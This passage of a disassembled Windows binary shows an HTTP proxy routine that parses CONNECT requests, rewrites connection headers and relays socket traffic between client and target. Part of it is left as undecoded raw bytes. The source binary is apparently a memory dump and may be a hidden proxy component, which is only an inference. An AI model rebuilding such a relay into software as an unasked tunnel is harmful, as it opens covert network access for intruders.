		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		mov	byte ptr [esp+1Fh], 1
		call	sub_4016B8
		lea	edx, [esp+0B8h]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+54A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401947
		add	esp, 8
		lea	ecx, [esp+218h]
		test	al, al
		setz	bl
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset aHttp	; "http"
		lea	ecx, [esp+0BCh]
		call	sub_4012EE
		test	eax, eax
		jnz	loc_42A5EF
		jmp	loc_42995A
; ---------------------------------------------------------------------------


loc_429765:				; CODE XREF: ___:004296E7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24Ch]
		push	0
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset aConnect_0 ; "CONNECT"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 5
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+248h]
		mov	byte ptr [esp+54A0h], 2
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	loc_42995A
		push	offset aConnect	; "connect"
		lea	ecx, [esp+0BCh]
		mov	byte ptr [esp+17h], 0
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esp+114h]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	ecx, [esp+12Ch]
		push	1
		push	ecx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+174h]
		push	0
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 6
		call	sub_4016B8
		push	eax
		lea	ecx, [esp+0D1h]
		mov	byte ptr [esp+54A4h], 7
		call	sub_401FDC
		lea	ecx, [esp+170h]
		mov	byte ptr [esp+54A0h], 6
		call	sub_401226
		lea	ecx, [esp+128h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+27Ch]
		push	1
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1A4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 8
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 9
		call	sub_4017EE
		test	eax, eax
		lea	ecx, [esp+1A0h]
		mov	byte ptr [esp+54A0h], 8
		setz	bl
		call	sub_401226
		lea	ecx, [esp+278h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		test	bl, bl
		jnz	loc_42A5EF
		push	offset asc_444600 ; " "
		lea	edx, [esp+264h]
		push	1
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+1D4h]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+54ACh], 0Ah
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+1D0h]
		mov	[esp+10Ch], eax
		mov	byte ptr [esp+54A0h], 0Ah
		call	sub_401226
		lea	ecx, [esp+260h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		mov	eax, [esp+10Ch]
		test	eax, eax
		jnz	short loc_42995A
		mov	dword ptr [esp+10Ch], 50h


loc_42995A:				; CODE XREF: ___:00429760j
					; ___:004297ACj ...
		push	offset asc_444600 ; " "
		lea	edx, [esp+4Ch]
		push	0
		push	edx
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+54A4h], 0Ch
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5DE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h]
		push	2
		push	eax
		lea	ecx, [esp+3Ch]
		call	sub_4016B8
		push	offset byte_448F30
		lea	ecx, [esp+64h]
		mov	byte ptr [esp+54A4h], 0Dh
		call	sub_4012EE
		test	eax, eax
		jz	loc_42A5CD
		lea	ecx, [esp+0CDh]
		push	ecx
		lea	ecx, [esp+8Ch]
		call	sub_4014D3
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		or	ebx, 0FFFFFFFFh
		rep stosd
		mov	edi, offset aHttprox ; "HTTPROX"
		mov	ecx, ebx
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [esp+4498h]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	byte ptr [esp+54A0h], 0Eh
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		lea	eax, [esp+4498h]
		and	ecx, 3
		rep movsb
		mov	esi, offset asc_4471EC ; "\r\n"


loc_429A21:				; CODE XREF: ___:00429A3Fj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A45
		test	cl, cl
		jz	short loc_429A41
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A45
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A21


loc_429A41:				; CODE XREF: ___:00429A2Bj
		xor	eax, eax
		jmp	short loc_429A49
; ---------------------------------------------------------------------------


loc_429A45:				; CODE XREF: ___:00429A27j
					; ___:00429A35j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A49:				; CODE XREF: ___:00429A43j
		test	eax, eax
		jz	loc_429B23
		mov	edi, dword_511AD8


loc_429A57:				; CODE XREF: ___:00429B1Dj
		mov	esi, offset byte_448F30
		lea	eax, [esp+4498h]


loc_429A63:				; CODE XREF: ___:00429A81j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429A87
		test	cl, cl
		jz	short loc_429A83
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429A87
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429A63


loc_429A83:				; CODE XREF: ___:00429A6Dj
		xor	eax, eax
		jmp	short loc_429A8B
; ---------------------------------------------------------------------------


loc_429A87:				; CODE XREF: ___:00429A69j
					; ___:00429A77j
		sbb	eax, eax
		sbb	eax, ebx


loc_429A8B:				; CODE XREF: ___:00429A85j
		test	eax, eax
		jz	loc_429B23
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+449Ch]
		push	1000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A629
		lea	edx, [esp+4498h]
		push	4000h
		lea	eax, [esp+49Ch]
		push	edx
		push	eax
		call	edi	; strncat
		push	4000h
		lea	ecx, [esp+4A8h]
		push	offset asc_4471EC ; "\r\n"
		push	ecx
		call	edi	; strncat
		add	esp, 18h
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+4498h]


loc_429AF3:				; CODE XREF: ___:00429B11j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429B17
		test	cl, cl
		jz	short loc_429B13
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429B17
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429AF3


loc_429B13:				; CODE XREF: ___:00429AFDj
		xor	eax, eax
		jmp	short loc_429B1B
; ---------------------------------------------------------------------------


loc_429B17:				; CODE XREF: ___:00429AF9j
					; ___:00429B07j
		sbb	eax, eax
		sbb	eax, ebx


loc_429B1B:				; CODE XREF: ___:00429B15j
		test	eax, eax
		jnz	loc_429A57


loc_429B23:				; CODE XREF: ___:00429A4Bj
					; ___:00429A8Dj
		mov	esi, dword_511B04
		lea	eax, [esp+498h]
		push	offset aProxyConnectio ; "Proxy-Connection:"
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		push	offset asc_444C6C ; ":"
		push	eax
		call	esi	; strstr
		add	esp, 8
		inc	eax
		jz	short loc_429B77
		cmp	byte ptr [eax],	20h
		jnz	short loc_429B5B


loc_429B52:				; CODE XREF: ___:00429B59j
		mov	cl, [eax+1]
		inc	eax
		cmp	cl, 20h
		jz	short loc_429B52


loc_429B5B:				; CODE XREF: ___:00429B50j
		push	offset aKeepAlive ; "Keep-Alive"
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_429B77
		mov	byte ptr [ebp+0BAh], 1
		jmp	short loc_429B7E
; ---------------------------------------------------------------------------


loc_429B77:				; CODE XREF: ___:00429B3Dj
					; ___:00429B4Bj ...
		mov	byte ptr [ebp+0BAh], 0


loc_429B7E:				; CODE XREF: ___:00429B75j
		cmp	[ebp+0BFh], ebx
		jnz	loc_429C16
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, ebx
		mov	[ebp+0BFh], eax
		jz	loc_42A6FD
		mov	edx, [esp+10Ch]
		xor	ecx, ecx
		mov	[esp+78h], ecx
		push	edx
		mov	[esp+80h], ecx
		mov	word ptr [esp+7Ch], 2
		mov	[esp+84h], ecx
		mov	[esp+88h], ecx
		nop
		call	near ptr 71AB2B66h
		lea	ecx, [esp+0CDh]
		mov	[esp+7Ah], ax
		call	sub_4017EE
		push	eax
		call	sub_40188E
		add	esp, 4
		cmp	eax, ebx
		mov	[esp+7Ch], eax
		jz	loc_42A63B
		mov	ecx, [ebp+0BFh]
		lea	eax, [esp+78h]
		push	10h
		push	eax
		push	ecx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, ebx
		jz	loc_42A698


loc_429C16:				; CODE XREF: ___:00429B84j
		mov	al, [esp+13h]
		test	al, al
		jz	loc_42A2BE
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_429C61
		lea	edx, [esp+498h]
		lea	ecx, [esp+60h]
		push	edx
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	eax, [esp+24h]
		push	offset aSSSConnectionK ; "%s %s	%s\r\nConnection: Keep-Alive\r\n%s"
		push	eax
		jmp	short loc_429C94
; ---------------------------------------------------------------------------


loc_429C61:				; CODE XREF: ___:00429C2Aj
		lea	ecx, [esp+498h]
		push	ecx
		lea	ecx, [esp+64h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+118h]
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+54h]
		call	sub_4017EE
		push	eax
		lea	edx, [esp+24h]
		push	offset aSSSConnectionC ; "%s %s	%s\r\nConnection: close\r\n%s"
		push	edx


loc_429C94:				; CODE XREF: ___:00429C5Fj
		call	sub_40102D
		add	esp, 18h
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		push	eax
		mov	eax, [ebp+0BFh]
		push	eax
		call	near ptr 71AB428Ah
		nop
		test	eax, eax
		jz	loc_42A6E2
		cmp	eax, ebx
		jz	loc_42A6E2
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A70F
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah
		xor	ebx, ebx
		mov	esi, offset asc_4471EC ; "\r\n"
		mov	[esp+2Ch], ebx
		lea	eax, [esp+498h]


loc_429D5E:				; CODE XREF: ___:00429D7Cj
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_429D82
		test	cl, cl
		jz	short loc_429D7E
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_429D82
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D5E


loc_429D7E:				; CODE XREF: ___:00429D68j
		xor	eax, eax
		jmp	short loc_429D87
; ---------------------------------------------------------------------------


loc_429D82:				; CODE XREF: ___:00429D64j
					; ___:00429D72j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429D87:				; CODE XREF: ___:00429D80j
		test	eax, eax
		jz	loc_42A109


loc_429D8F:				; CODE XREF: ___:0042A0F8j
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_429D9B:				; CODE XREF: ___:00429DBDj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		test	cl, cl
		jz	short loc_429DBF
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_429DC3
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429D9B


loc_429DBF:				; CODE XREF: ___:00429DA7j
		xor	eax, eax
		jmp	short loc_429DC8
; ---------------------------------------------------------------------------


loc_429DC3:				; CODE XREF: ___:00429DA3j
					; ___:00429DB3j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_429DC8:				; CODE XREF: ___:00429DC1j
		test	eax, eax
		jz	loc_42A105
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	sub_401280
		add	esp, 10h
		test	al, al
		jz	loc_42A100
		lea	edx, [esp+498h]
		lea	ecx, [esp+0A0h]
		push	edx
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	eax, [esp+204h]
		push	0
		push	eax
		lea	ecx, [esp+0ACh]
		mov	byte ptr [esp+54ACh], 0Fh
		call	sub_4016B8
		push	offset aContentLength ;	"Content-Length:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 10h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+200h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429EAA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+144h]
		push	1
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+54A0h], 11h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+140h]
		mov	[esp+2Ch], eax
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429EAA:				; CODE XREF: ___:00429E5Cj
		push	offset asc_444600 ; " "
		lea	edx, [esp+15Ch]
		push	0
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aTransferEncodi ; "Transfer-Encoding:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 12h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+158h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429F39
		push	offset asc_444600 ; " "
		lea	eax, [esp+18Ch]
		push	1
		push	eax
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aChunked	; "chunked"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 13h
		call	sub_40150A
		lea	ecx, [esp+188h]
		mov	byte ptr [esp+54A0h], 0Fh
		call	sub_401226


loc_429F39:				; CODE XREF: ___:00429EF4j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+1BCh]
		push	0
		push	ecx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aConnection ; "Connection:"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 14h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1B8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		jz	short loc_429FD4
		push	offset asc_444600 ; " "
		lea	edx, [esp+1ECh]
		push	1
		push	edx
		lea	ecx, [esp+0ACh]
		call	sub_4016B8
		push	offset aKeepAlive ; "Keep-Alive"
		mov	ecx, eax
		mov	byte ptr [esp+54A4h], 15h
		call	sub_40150A
		test	eax, eax
		lea	ecx, [esp+1E8h]
		mov	byte ptr [esp+54A0h], 0Fh
		setz	bl
		call	sub_401226
		test	bl, bl
		setnz	byte ptr [esp+11h]


loc_429FD4:				; CODE XREF: ___:00429F83j
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_429FE0:				; CODE XREF: ___:0042A002j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		test	cl, cl
		jz	short loc_42A004
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A008
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_429FE0


loc_42A004:				; CODE XREF: ___:00429FECj
		xor	eax, eax
		jmp	short loc_42A00D
; ---------------------------------------------------------------------------


loc_42A008:				; CODE XREF: ___:00429FE8j
					; ___:00429FF8j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A00D:				; CODE XREF: ___:0042A006j
		test	eax, eax
		jz	loc_42A0A9
		mov	esi, offset byte_448F30
		lea	eax, [esp+498h]


loc_42A021:				; CODE XREF: ___:0042A043j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		test	cl, cl
		jz	short loc_42A045
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A049
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A021


loc_42A045:				; CODE XREF: ___:0042A02Dj
		xor	eax, eax
		jmp	short loc_42A04E
; ---------------------------------------------------------------------------


loc_42A049:				; CODE XREF: ___:0042A029j
					; ___:0042A039j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A04E:				; CODE XREF: ___:0042A047j
		test	eax, eax
		jz	short loc_42A0A9
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	eax, [esp+49Ch]
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_42A0A9:				; CODE XREF: ___:0042A00Fj
					; ___:0042A050j
		lea	ecx, [esp+0A0h]
		mov	byte ptr [esp+54A0h], 0Eh
		call	sub_401226
		mov	esi, offset asc_4471EC ; "\r\n"
		lea	eax, [esp+498h]


loc_42A0C9:				; CODE XREF: ___:0042A0EBj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		test	cl, cl
		jz	short loc_42A0ED
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_42A0F1
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_42A0C9


loc_42A0ED:				; CODE XREF: ___:0042A0D5j
		xor	eax, eax
		jmp	short loc_42A0F6
; ---------------------------------------------------------------------------


loc_42A0F1:				; CODE XREF: ___:0042A0D1j
					; ___:0042A0E1j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_42A0F6:				; CODE XREF: ___:0042A0EFj
		test	eax, eax
		jnz	loc_429D8F
		jmp	short loc_42A105
; ---------------------------------------------------------------------------


loc_42A100:				; CODE XREF: ___:00429DF0j
		mov	byte ptr [esp+12h], 1


loc_42A105:				; CODE XREF: ___:00429DCAj
					; ___:0042A0FEj
		mov	ebx, [esp+2Ch]


loc_42A109:				; CODE XREF: ___:00429D89j
		mov	al, [esp+11h]
		push	0
		test	al, al
		jz	short loc_42A131
		mov	edi, offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	eax, [ebp+0BBh]
		not	ecx
		dec	ecx
		push	ecx
		push	offset aConnectionKeep ; "Connection: Keep-Alive\r\n"
		push	eax
		jmp	short loc_42A14D
; ---------------------------------------------------------------------------


loc_42A131:				; CODE XREF: ___:0042A111j
		mov	edi, offset aConnectionClos ; "Connection: Close\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		mov	ecx, [ebp+0BBh]
		push	offset aConnectionClos ; "Connection: Close\r\n"
		push	ecx


loc_42A14D:				; CODE XREF: ___:0042A12Fj
		nop
		call	near ptr 71AB428Ah
		mov	edi, offset asc_4471EC ; "\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+498h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		mov	edx, [ebp+0BBh]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+49Ch]
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		lea	ecx, [esp+4A0h]
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	ebx, ebx
		jz	loc_42A27C
		xor	edi, edi
		test	ebx, ebx
		jle	short loc_42A204


loc_42A1B3:				; CODE XREF: ___:0042A202j
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, 4000h
		jbe	short loc_42A204
		mov	edx, [ebp+0BFh]
		push	0
		lea	ecx, [esp+49Ch]
		push	4000h
		push	ecx
		push	edx
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A204
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A204
		mov	ecx, [ebp+0BBh]
		push	0
		lea	eax, [esp+49Ch]
		push	esi
		push	eax
		push	ecx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		cmp	edi, ebx
		jl	short loc_42A1B3


loc_42A204:				; CODE XREF: ___:0042A1B1j
					; ___:0042A1BCj ...
		mov	eax, ebx
		sub	eax, edi
		jz	short loc_42A24E


loc_42A20A:				; CODE XREF: ___:0042A24Cj
		push	0
		push	eax
		mov	eax, [ebp+0BFh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	esi, eax
		cmp	esi, 1
		jl	short loc_42A24E
		cmp	esi, 0FFFFFFFFh
		jz	short loc_42A24E
		mov	edx, [ebp+0BBh]
		push	0
		lea	ecx, [esp+49Ch]
		push	esi
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		add	edi, esi
		mov	eax, ebx
		sub	eax, edi
		jnz	short loc_42A20A


loc_42A24E:				; CODE XREF: ___:0042A208j
					; ___:0042A227j ...
		mov	al, [ebp+0BAh]
		test	al, al
		jnz	loc_42A4DF
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		or	esi, 0FFFFFFFFh
		mov	byte ptr [esp+12h], 1
		mov	[ebp+0BBh], esi
		jmp	loc_42A4E2
; ---------------------------------------------------------------------------


loc_42A27C:				; CODE XREF: ___:0042A1A7j
		mov	esi, dword_511CA4


loc_42A282:				; CODE XREF: ___:0042A2BCj
		mov	ecx, [ebp+0BFh]
		push	0
		lea	eax, [esp+49Ch]
		push	4000h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jl	short loc_42A24E
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A24E
		push	0
		push	eax
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+4A0h]
		push	edx
		push	eax
		nop
		call	near ptr 71AB428Ah
		jmp	short loc_42A282
; ---------------------------------------------------------------------------


loc_42A2BE:				; CODE XREF: ___:00429C1Cj
		lea	ecx, [esp+14h]
		push	offset aHttp1_0200Conn ; "HTTP/1.0 200 Connection established\r\n\r\n"...
		push	ecx
		call	sub_40102D
		add	esp, 8
		lea	ecx, [esp+14h]
		push	0
		call	sub_4013E3
		push	eax
		lea	ecx, [esp+1Ch]
		call	sub_4017EE
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		nop
		call	near ptr 71AB428Ah
		test	eax, eax
		jz	loc_42A782
		cmp	eax, ebx
		jz	loc_42A782
		mov	ebx, dword_511CA4
		mov	eax, [ebp+0BBh]
		mov	edx, [ebp+0BFh]
		mov	[esp+294h], eax
		mov	dword ptr [esp+290h], 1
		xor	eax, eax
		lea	ecx, [esp+294h]


loc_42A330:				; CODE XREF: ___:0042A33Bj
		cmp	[ecx], edx
		jz	short loc_42A33D
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A330


loc_42A33D:				; CODE XREF: ___:0042A332j
		cmp	eax, 1
		jnz	short loc_42A354
		mov	[esp+298h], edx
		mov	dword ptr [esp+290h], 2


loc_42A354:				; CODE XREF: ___:0042A340j
		mov	ecx, 1000h
		xor	eax, eax
		lea	edi, [esp+498h]
		push	eax
		rep stosd
		push	eax
		lea	ecx, [esp+298h]
		push	eax
		push	ecx
		push	eax
		call	near ptr 71AB2DC0h
		nop
		mov	eax, [ebp+0BBh]
		lea	edx, [esp+290h]
		push	edx
		push	eax
		call	sub_438256
; ---------------------------------------------------------------------------
		dw 0C085h
		dd 958B4274h, 0BBh, 8C8D006Ah, 49C24h, 40006800h, 52510000h
		dd 0F883D3FFh, 9F840FFFh, 8BFFFFFEh, 0BF8Dh, 50006A00h
		dd 0A024848Dh, 50000004h, 0C3E89051h, 8371689Eh, 840FFFF8h
		dd 0FFFFFE7Eh, 0BF858Bh, 948D0000h, 29024h, 0E8505200h
		dd 0DE72h, 4274C085h, 0BF958Bh,	6A0000h, 9C248C8Dh, 68000004h
		dd 4000h, 0D3FF5251h, 0FFFF883h, 0FFFE4584h, 0BB8D8BFFh
		dd 6A000000h, 848D5000h, 4A024h, 90515000h, 689E69E8h
		dd 0FFF88371h, 0FE24840Fh, 3D8BFFFFh, 5118D8h, 0D7FF056Ah
		dd 0BB858Bh, 6A0000h, 9C24948Dh, 68000004h, 4000h, 0D3FF5052h
		dd 0F685F08Bh, 0FDF8840Fh, 167DFFFFh, 68F07FE8h, 333D9071h
		dd 75000027h, 0FF016A09h, 0FE9BE9D7h, 958BFFFFh, 0BFh
		dd 1CA03D8Bh, 6A0051h, 9C248C8Dh, 56000004h, 0D7FF5251h
		dd 0BF8D8Bh, 6A0000h, 9C24848Dh, 68000004h, 4000h, 0D3FF5150h
		dd 0F685F08Bh, 0FDA4840Fh, 1A7DFFFFh, 68F02BE8h, 333D9071h
		dd 75000027h, 90016A0Dh, 41799BE8h, 0FE43E902h,	858BFFFFh
		dd 0BBh, 948D006Ah, 49C24h, 50525600h, 2AE9D7FFh
		db 0FEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_42A4DF:				; CODE XREF: ___:0042A256j
		or	esi, 0FFFFFFFFh


loc_42A4E2:				; CODE XREF: ___:0042A277j
		mov	al, [esp+11h]
		test	al, al
		jnz	short loc_42A502
		mov	edx, [ebp+0BFh]
		push	edx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi
		mov	byte ptr [esp+12h], 1


loc_42A502:				; CODE XREF: ___:0042A4E8j
		lea	ecx, [esp+88h]
		mov	byte ptr [esp+54A0h], 0Dh
		call	sub_401226
		lea	ecx, [esp+60h]
		mov	byte ptr [esp+54A0h], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+54A0h], 2
		call	sub_401226
		lea	ecx, [esp+30h]
		mov	byte ptr [esp+54A0h], 1
		call	sub_401226
		lea	ecx, [esp+14h]
		mov	byte ptr [esp+54A0h], 0
		call	sub_401226
		lea	ecx, [esp+0B8h]
		mov	[esp+54A0h], esi
		call	sub_4014BA
		or	esi, 0FFFFFFFFh


loc_42A570:				; CODE XREF: ___:0042969Bj
		mov	al, [esp+12h]
		test	al, al
		jz	loc_4295E8


loc_42A57C:				; CODE XREF: ___:0042A624j
					; ___:0042A77Dj
		mov	al, [ebp+0BAh]
		test	al, al
		jz	short loc_42A599
		mov	eax, [ebp+0BBh]
		push	eax
		call	near ptr 71AB9639h
		nop
		mov	[ebp+0BBh], esi


loc_42A599:				; CODE XREF: ___:0042A584j
		mov	al, [esp+11h]
		test	al, al
		jz	short loc_42A5B4
		mov	ecx, [ebp+0BFh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		mov	[ebp+0BFh], esi


loc_42A5B4:				; CODE XREF: ___:0042A59Fj
					; ___:0042A805j
		mov	ecx, [esp+5498h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 5494h
		retn
; ---------------------------------------------------------------------------


loc_42A5CD:				; CODE XREF: ___:004299BAj
